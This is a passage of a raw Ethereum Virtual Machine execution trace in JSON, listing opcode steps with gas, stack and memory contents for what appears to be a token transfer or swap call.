000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13901,"op":"AND","gas":77439,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13902,"op":"DUP2","gas":77436,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13903,"op":"EQ","gas":77433,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13904,"op":"PUSH2","gas":77430,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13907,"op":"JUMPI","gas":77427,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x3658"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13912,"op":"JUMPDEST","gas":77417,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13913,"op":"POP","gas":77416,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13914,"op":"JUMP","gas":77414,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13477,"op":"JUMPDEST","gas":77406,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13478,"op":"SWAP4","gas":77405,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13479,"op":"SWAP3","gas":77402,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x384","0x0","0x30d7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13480,"op":"POP","gas":77399,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x